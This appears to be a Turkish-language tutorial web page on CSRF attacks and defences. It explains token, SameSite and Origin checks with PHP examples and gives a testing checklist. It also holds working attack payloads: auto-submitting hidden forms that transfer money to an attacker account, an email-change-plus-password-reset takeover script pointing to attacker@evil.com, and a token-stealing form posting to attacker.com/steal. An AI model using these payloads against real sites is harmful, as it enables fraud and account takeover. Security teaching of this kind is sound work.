Cross-Site Request Forgery

Kullanıcıları fark etmeden zararlı istekler göndermeye zorlayan CSRF saldırılarını anlamak ve önlemek

<form action="victim.com/transfer"> /* Hidden Attack */ </form>

CSRF Nedir?

Cross-Site Request Forgery (CSRF), saldırganların kurban kullanıcıları fark etmeden web uygulamalarında istemediği işlemleri gerçekleştirmesine zorlayan bir web güvenlik açığıdır. Bu saldırı, kullanıcının mevcut oturum bilgilerini kullanarak gerçekleşir.

CSRF Saldırısının Etkisi:
• Para transferi ve finansal işlemler
• Parola değiştirme işlemleri
• E-posta adresi güncelleme
• Hesap silme veya deaktive etme
• Admin paneli işlemleri
CSRF vs XSS Farkı:
  • CSRF: Kurban sitede yetkili işlem yaptırma
  • XSS: Kurban sitede kod çalıştırma
  • CSRF: Kullanıcı fark etmez
  • XSS: Tarayıcıda görülebilir etkiler

CSRF Saldırısı İçin Gerekli Koşullar

Başarılı bir CSRF saldırısı için üç temel koşulun bir arada bulunması gerekir. Bu koşulları anlayarak hem saldırıları tespit edebilir hem de etkili korunma yöntemleri geliştirebilirsiniz.

1
İlgili Aksiyon: Saldırganın hedeflediği anlamlı bir işlem olmalı (para transferi, parola değişimi vb.)
2
Cookie Tabanlı Oturum: Uygulama sadece session cookie'leri ile kullanıcı kimliğini doğrulamalı
3
Tahmin Edilebilir Parametreler: İstek parametreleri saldırgan tarafından bilinebilir veya tahmin edilebilir olmalı
// Savunmasız CSRF örneği
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com
Risk Analizi: Bu örnek tüm CSRF koşullarını karşılıyor - önemli bir işlem (email değiştirme), sadece cookie doğrulaması ve basit parametreler.

CSRF Saldırı Akışı

CSRF saldırısı şu adımlarla gerçekleşir. Her adımı anlamak, saldırıyı hem tespit etmek hem de önlemek için kritik önem taşır.

1
Kurban Hedefleme: Saldırgan hedef uygulamada hesabı olan bir kullanıcıyı hedefler
2
Zararlı Sayfa Hazırlama: Gizli form veya JavaScript ile otomatik istek gönderen sayfa oluşturur
3
Kurbanı Yönlendirme: Email, sosyal medya veya diğer yöntemlerle kurbanı zararlı sayfaya yönlendirir
4
Otomatik İstek: Kurban sayfayı ziyaret ettiğinde otomatik olarak hedef siteye istek gönderilir
5
İşlem Gerçekleşir: Hedef site kurbanın oturum bilgileriyle isteği kabul eder ve işlemi gerçekleştirir
<!-- Saldırgan tarafından hazırlanan zararlı sayfa -->
<html>
    <body>
        <h1>Tebrikler! Hediyenizi almak için bekleyin...</h1>
        <form action="https://bank.com/transfer" method="POST" id="maliciousForm">
            <input type="hidden" name="amount" value="1000000" />
            <input type="hidden" name="to" value="attacker_account" />
        </form>
        <script>
            // Sayfa yüklendiğinde otomatik olarak formu gönder
            document.getElementById('maliciousForm').submit();
        </script>
    </body>
</html>
Saldırının Başarı Faktörleri:
• Kurbanın hedef sitede aktif oturumu olması
• SameSite cookie korumasının olmaması
• CSRF token kontrolünün bulunmaması
• Referer header doğrulamasının yapılmaması

CSRF Saldırı Türleri

CSRF saldırıları farklı teknikler ve vektörler kullanılarak gerçekleştirilebilir. Her türün kendine özgü özellikleri ve tespit yöntemleri vardır.

Form-based CSRF

Gizli HTML formları kullanarak POST istekleri gönderir. En yaygın CSRF türüdür.

<form action="/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="1000">
</form>

Image-based CSRF

IMG etiketinin src özelliğini kullanarak GET istekleri yapar. Basit ama etkili.

<img src="http://bank.com/transfer?to=attacker&amount=1000" 
     style="display:none;">

JavaScript-based CSRF

AJAX veya fetch API ile dinamik istekler gönderir. Daha karmaşık saldırılarda kullanılır.

fetch('/api/delete-account', {
    method: 'POST',
    credentials: 'include'
});

Link-based CSRF

Doğrudan URL'ler ile GET tabanlı işlemler için kullanılır.

<a href="http://mail.com/delete?id=123">
    Tıklayın!
</a>
Modern CSRF Teknikleri:
  • JSON CSRF: Content-Type manipulation ile JSON istekleri
  • Flash CSRF: Flash uygulamaları aracılığıyla
  • WebSocket CSRF: WebSocket bağlantıları üzerinden
  • File Upload CSRF: Dosya yükleme işlemlerinde

Gerçek Dünya CSRF Örnekleri

Gerçek web uygulamalarında karşılaşılan CSRF açıklarının örnekleriyle bu saldırıların nasıl çalıştığını inceleyelim.

Banka Transferi CSRF
Senaryo: Kurban bankada oturumu açık olduğu sırada zararlı email'deki linke tıklar.
Sonuç: Fark etmeden saldırganın hesabına para transferi yapar.
// Banka transfer isteği
POST /api/transfer HTTP/1.1
Host: secure-bank.com
Cookie: session=abc123xyz789
Content-Type: application/json

{
    "from_account": "12345678",
    "to_account": "87654321", 
    "amount": 50000,
    "description": "Transfer"
}
Email Değiştirme CSRF
Saldırı: Kurbanın hesap email adresini değiştirip parola sıfırlama yapma.
Etki: Hesabın tamamen ele geçirilmesi.
<!-- Zararlı sayfa içeriği -->
<iframe style="display:none;" name="csrf-frame"></iframe>
<form action="https://social-media.com/settings/email" 
      method="POST" target="csrf-frame" id="csrf-form">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="current_password" value="">
</form>
<script>
    setTimeout(() => {
        document.getElementById('csrf-form').submit();
        // 2 saniye sonra parola sıfırlama isteği gönder
        setTimeout(() => {
            window.open('https://social-media.com/forgot-password?email=attacker@evil.com');
        }, 2000);
    }, 1000);
</script>
Kritik İstatistik: 2023 yılında web uygulamalarının %23'ünde CSRF koruması eksik veya yetersiz bulundu. Bu açıklar özellikle finansal ve sosyal medya platformlarında yoğun olarak hedefleniyor.

CSRF Token'ları

CSRF token'ları, CSRF saldırılarına karşı en etkili korunma yöntemlerinden biridir. Her form ve önemli işlem için benzersiz, tahmin edilemez token'lar oluşturulur.

CSRF Token Çalışma Prensibi

1
Sunucu her form için benzersiz token oluşturur
2
Token hem formda hem de session'da saklanır
3
İstek geldiğinde token'lar karşılaştırılır
4
Eşleşmezse istek reddedilir
// Güvenli form ile CSRF token
<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" 
           value="a3f5d8e9c7b2f1a4e6d8c9b7f5a3e1d9">
    <input type="text" name="recipient" placeholder="Alıcı">
    <input type="number" name="amount" placeholder="Miktar">
    <button type="submit">Transfer Et</button>
</form>

// PHP server-side doğrulama
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF saldırısı tespit edildi!');
}

Token Özellikleri

  • Kriптографik olarak güvenli
  • Yeterli uzunlukta (en az 128 bit)
  • Her istekte yenilenen
  • Tahmin edilemez

Token Yönetimi

  • Belirli süre sonra expire olur
  • Oturum bittiğinde silinir
  • Her sayfada yeniden üretilir
  • HTTPS üzerinden gönderilir
Double Submit Cookie Pattern: Alternatif olarak aynı token'ı hem cookie'de hem de form'da göndererek doğrulama yapabilirsiniz. Bu yöntem daha basit uygulanır.

SameSite Cookies

SameSite cookie özelliği, tarayıcı seviyesinde CSRF saldırılarına karşı koruma sağlar. 2021'den beri Chrome'da varsayılan olarak Lax modu aktiftir.

Strict Mode

Cookie hiçbir cross-site istekte gönderilmez. En güvenli ama kullanıcı deneyimini olumsuz etkileyebilir.

Set-Cookie: session=abc123; SameSite=Strict

Lax Mode (Önerilen)

Sadece "güvenli" HTTP metodlarında (GET) ve navigation'larda cookie gönderilir.

Set-Cookie: session=abc123; SameSite=Lax

None Mode

Tüm cross-site isteklerde cookie gönderilir. HTTPS gerektirir ve güvenli değildir.

Set-Cookie: session=abc123; SameSite=None; Secure
SameSite Lax Mode'un Koruma Sağladığı Durumlar:
  • POST, PUT, DELETE isteklerinde cookie gönderilmez
  • AJAX isteklerinde cookie gönderilmez
  • Form submisson'larında cookie gönderilmez
  • IMG, IFRAME isteklerinde cookie gönderilmez
SameSite Sınırlamaları: Eski tarayıcılar desteklemeyebilir ve bazı legitimate cross-site işlemler engellenir. Mutlaka diğer CSRF korunma yöntemleriyle birlikte kullanın.

Referer Header Doğrulaması

HTTP Referer header'ını kontrol ederek isteğin kendi domain'inizden geldiğini doğrulayabilirsiniz. Ancak bu yöntem tek başına yeterli değildir.

// PHP Referer doğrulaması
$allowedDomains = ['https://mybank.com', 'https://secure.mybank.com'];
$referer = $_SERVER['HTTP_REFERER'] ?? '';

$isValidReferer = false;
foreach ($allowedDomains as $domain) {
    if (strpos($referer, $domain) === 0) {
        $isValidReferer = true;
        break;
    }
}

if (!$isValidReferer) {
    http_response_code(403);
    die('Geçersiz referer - CSRF saldırısı şüphesi');
}

// JavaScript ile client-side kontrol
if (document.referrer && !document.referrer.startsWith('https://mybank.com')) {
    alert('Güvenlik uyarısı: Şüpheli istek tespit edildi');
    window.location.href = 'https://mybank.com';
}
Referer Header Problemleri:
• Kullanıcı veya proxy tarafından silinebilir
• HTTPS'ten HTTP'ye geçişlerde gönderilmez
• Bazı güvenlik yazılımları bloklar
• Meta refresh ile manipüle edilebilir
Origin Header Alternatifi
Origin header daha güvenilirdir çünkü sadece domain bilgisi içerir ve manipüle edilmesi daha zordur. Modern uygulamalarda Origin header kontrolü tercih edilir.
// Origin header doğrulaması
$allowedOrigins = ['https://mybank.com', 'https://secure.mybank.com'];
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';

if (!in_array($origin, $allowedOrigins)) {
    http_response_code(403);
    die('Geçersiz origin - CSRF koruması');
}

Kapsamlı CSRF Korunma Stratejisi

Etkili CSRF korunması için tek bir yöntem yeterli değildir. Katmanlı güvenlik yaklaşımı ile birden fazla korunma mekanizması kullanmak gerekir.

Birincil Koruma

  • CSRF Token'ları - Her işlemde token kontrolü
  • SameSite Cookies - Tarayıcı seviyesi koruma
  • Origin/Referer Check - İstek kaynağı doğrulama

Kullanıcı Bazlı

  • Re-authentication - Kritik işlemler için parola
  • CAPTCHA - İnsan doğrulaması
  • Email Confirmation - Email ile onaylama

Uygulama Bazlı

  • Custom Headers - Özel header gerekliliği
  • JSON-only APIs - Sadece JSON kabul etme
  • Timing Checks - İşlem süre kontrolü

Kapsamlı CSRF Korunma Implementasyonu

class CSRFProtection {
    public function __construct() {
        $this->generateToken();
        $this->validateHeaders();
    }
    
    private function generateToken() {
        if (!isset($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }
        return $_SESSION['csrf_token'];
    }
    
    public function validateRequest() {
        // 1. Token kontrolü
        if (!$this->validateToken()) {
            $this->logSecurityEvent('Invalid CSRF token');
            return false;
        }
        
        // 2. Origin kontrolü
        if (!$this->validateOrigin()) {
            $this->logSecurityEvent('Invalid origin header');
            return false;
        }
        
        // 3. Rate limiting
        if (!$this->checkRateLimit()) {
            $this->logSecurityEvent('Rate limit exceeded');
            return false;
        }
        
        return true;
    }
    
    private function validateToken() {
        $submittedToken = $_POST['csrf_token'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
        return hash_equals($_SESSION['csrf_token'], $submittedToken);
    }
    
    private function validateOrigin() {
        $allowedOrigins = ['https://secure-app.com'];
        $origin = $_SERVER['HTTP_ORIGIN'] ?? '';
        return in_array($origin, $allowedOrigins);
    }
}

CSRF Korunma Bypass Teknikleri

CSRF korunmalarının nasıl atlatılabileceğini bilmek, daha güçlü savunmalar geliştirmek için önemlidir. Bu teknikler sadece güvenlik testleri ve eğitim amaçlı incelenmelidir.

Token Prediction

Zayıf token üretim algoritmalarının tahmin edilmesi

// Zayıf token örneği - KULLANMAYIN!
$csrf_token = md5(time() . $user_id);
// Bu kolayca tahmin edilebilir

Token Leakage

Token'ların log dosyalarında, URL'lerde veya referrer'da sızması

// Tehlikeli kullanım
<a href="/delete?csrf_token=abc123">Sil</a>
// Token URL'de görünür ve loglanır

Social Engineering

Kullanıcıyı kandırarak token'ı ele geçirme

// Sahte destek formu ile token çalma
<form action="attacker.com/steal">
    <input name="csrf_token" placeholder="Token'ınızı girin">
</form>

Subdomain Takeover

Alt domain kontrolü ile SameSite bypass

// Eğer evil.example.com kontrol edilirse
// SameSite=Lax koruması atlatılabilir
document.domain = "example.com";
Advanced Bypass Yöntemleri:
• Flash/Plugin tabanlı saldırılar
• Content-Type manipulation
• Method override ile HTTP verb tampering
• WebSocket bağlantıları üzerinden
• File upload ile multipart/form-data bypass

CSRF Güvenlik Testi

Web uygulamalarında CSRF açıklarını tespit etmek için sistematik yaklaşım gereklidir. Bu testler hem manuel hem de otomatik araçlarla yapılabilir.

1
Hedef Tanımlama: Kritik işlemleri belirleyin (para transferi, parola değiştirme, hesap silme)
2
İstek Analizi: HTTP isteklerini intercept edin ve parametreleri inceleyin
3
Token Kontrolü: CSRF token varlığını ve güvenliğini test edin
4
PoC Hazırlama: Exploit sayfası oluşturun ve test edin
// CSRF Test Checklist
1. CSRF token var mı?
   - Token yok ise: VULNERABLE
   - Token var ise: Devam et

2. Token doğrulanıyor mu?
   - Token kaldırıldığında: Başarılı ise VULNERABLE
   - Sahte token ile: Başarılı ise VULNERABLE

3. Token tahmin edilebilir mi?
   - Zayıf algoritma: VULNERABLE
   - Statik değer: VULNERABLE

4. SameSite cookie var mı?
   - Yok veya None: VULNERABLE
   - Lax/Strict: SECURE

5. Referer/Origin kontrolü?
   - Yok: VULNERABLE
   - Bypass edilebilir: VULNERABLE
Burp Suite ile CSRF Testi:
1. Generate CSRF PoC özelliğini kullanın
2. Request'i sağ tıklayıp "Engagement tools > Generate CSRF PoC"
3. Oluşturulan HTML'i test edin
4. Token varlığında bypass deneyin
CSRF Test Araçları
Burp Suite: Professional CSRF PoC generator
OWASP ZAP: Otomatik CSRF tarayıcısı
CSRFTester: Specialized CSRF testing tool
Custom Scripts: Python/JavaScript ile özel testler

Modern CSRF Savunma Teknolojileri

Yeni web teknolojileri ve güvenlik standartları ile CSRF saldırılarına karşı daha gelişmiş korunma yöntemleri geliştirilmiştir.

Client Certificates

İstemci sertifikaları ile güçlü kimlik doğrulama

// Client certificate kontrolü
if (!$_SERVER['SSL_CLIENT_VERIFY'] || 
    $_SERVER['SSL_CLIENT_VERIFY'] !== 'SUCCESS') {
    die('Client certificate required');
}

2FA Integration

Kritik işlemler için iki faktörlü doğrulama

// Kritik işlemde 2FA zorunluluğu
if ($this->isCriticalOperation() && !$this->verify2FA()) {
    throw new SecurityException('2FA required');
}

Behavioral Analysis

Kullanıcı davranış analizi ile anomali tespiti

// Davranış analizi
$riskScore = $this->calculateRiskScore([
    'request_frequency',
    'unusual_patterns', 
    'device_fingerprint'
]);

AI-Powered Detection

Yapay zeka ile gerçek zamanlı CSRF tespit

// ML tabanlı anomali tespiti
$isLegitimate = $this->mlModel->predict([
    'user_behavior', 'request_pattern',
    'timing_analysis', 'context_data'
]);

Content Security Policy (CSP) ile CSRF Korunması

// Güçlü CSP başlığı
Content-Security-Policy: 
    default-src 'self'; 
    form-action 'self'; 
    frame-ancestors 'none'; 
    base-uri 'self';

// Bu CSP ayarları:
// - Form submission'ları sadece kendi domain'e
// - Iframe embedding'i engeller 
// - Base tag manipulation'ı önler
Zero-Trust Yaklaşımı:
  • Her isteği şüpheli kabul edin
  • Çoklu doğrulama katmanları kullanın
  • Sürekli monitoring ve logging
  • Anomali tespiti ve otomatik tepki

CSRF Vaka İncelemeleri

Gerçek dünyadan CSRF saldırı örnekleri ve bunların nasıl önlenebileceği hakkında detaylı incelemeler.

Vaka 1: Netflix CSRF (2006)
Problem: Kullanıcı profilinde film değerlendirme sisteminde CSRF açığı
Etki: Saldırganlar kurbanlar adına film değerlendirmesi yapabiliyordu
Çözüm: CSRF token implementasyonu ve Referer kontrolü
Vaka 2: E-ticaret Sitesi (2019)
Problem: Ödeme sayfasında CSRF koruması bypass edilebiliyordu
Etki: Kurban kullanıcılar adına satın alma işlemleri
Çözüm: SameSite cookies ve güçlü token validation
// Problematik kod örneği (E-ticaret vakası)
// Sadece basit token kontrolü
if ($_POST['token'] == $_SESSION['token']) {
    // Ödeme işlemi
    processPayment($_POST['amount'], $_POST['card']);
}

// Güvenli versiyonu
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token']) ||
    !$this->validateOrigin() ||
    !$this->checkTransactionLimits() ||
    !$this->verify2FA()) {
    
    $this->logSecurityIncident('CSRF attempt detected');
    throw new SecurityException('Unauthorized transaction');
}
Öğrenilen Dersler:
• Tek bir korunma yöntemi yeterli değil
• Kritik işlemler için ek doğrulama gerekli
• Sürekli güvenlik testleri yapılmalı
• Güvenlik incident'ları detaylı loglanmalı

CSRF Güvenliği En İyi Uygulamaları

Kapsamlı CSRF korunması için geliştiriciler ve güvenlik uzmanlarının uyması gereken en iyi uygulamalar ve öneriler.

Geliştirme Aşaması

  • Secure-by-design prensipleri
  • Framework'lerin built-in CSRF korumaları
  • Input validation ve output encoding
  • Code review süreçleri

Deployment

  • HTTPS everywhere policy
  • Güvenli cookie ayarları
  • WAF (Web Application Firewall)
  • Security headers implementasyonu

Monitoring

  • CSRF denemelerini loglama
  • Anomali tespiti sistemleri
  • Real-time alerting
  • Güvenlik metrikleri

Eğitim

  • Developer güvenlik eğitimleri
  • CSRF awareness programları
  • Secure coding standartları
  • Penetration testing

Enterprise CSRF Korunma Stratejisi

// Kapsamlı CSRF middleware örneği
class EnterpriseCSRFProtection {
    private $config;
    private $logger;
    private $metrics;
    
    public function handle($request, $next) {
        // 1. Whitelist kontrolü
        if ($this->isWhitelisted($request)) {
            return $next($request);
        }
        
        // 2. Multiple validation layers
        $validations = [
            $this->validateCSRFToken($request),
            $this->validateOrigin($request),
            $this->validateUserAgent($request),
            $this->validateTiming($request),
            $this->validateBehavior($request)
        ];
        
        $score = array_sum($validations) / count($validations);
        
        // 3. Risk-based decision
        if ($score < $this->config['threshold']) {
            $this->handleSuspiciousRequest($request);
            throw new CSRFException('Request blocked');
        }
        
        // 4. Success logging ve metrics
        $this->logger->info('CSRF validation passed', [
            'ip' => $request->ip(),
            'score' => $score,
            'endpoint' => $request->path()
        ]);
        
        return $next($request);
    }
}
Kritik Hatırlatmalar:
• CSRF korunması her önemli işlemde olmalı
• Tek katmanlı koruma yeterli değil
• Sürekli testing ve updating gerekli
• Incident response planı hazırlayın
• User awareness da önemli
Framework Önerileri:
• Laravel: Built-in CSRF middleware
• Django: CSRF_COOKIE_SECURE = True
• Spring: @EnableWebSecurity annotation
• Express.js: csurf middleware kullanın

CSRF Güvenliği Özeti

CSRF Korunma Kontrol Listesi:
✓ CSRF token'ları her formda
✓ SameSite=Lax cookie ayarı
✓ Origin/Referer header kontrolü
✓ Kritik işlemlerde 2FA
✓ Güvenli coding practices
✓ Düzenli güvenlik testleri
✓ Incident monitoring ve logging

console.log("CSRF saldırılarından korunun!");

Son Tavsiyeler
Defense in Depth: Tek bir korunma yöntemine güvenmeyin
Sürekli İyileştirme: Yeni CSRF teknikleri için güncel kalın
User Education: Kullanıcıları phishing konusunda bilinçlendirin
Testing: Automated ve manual CSRF testleri yapın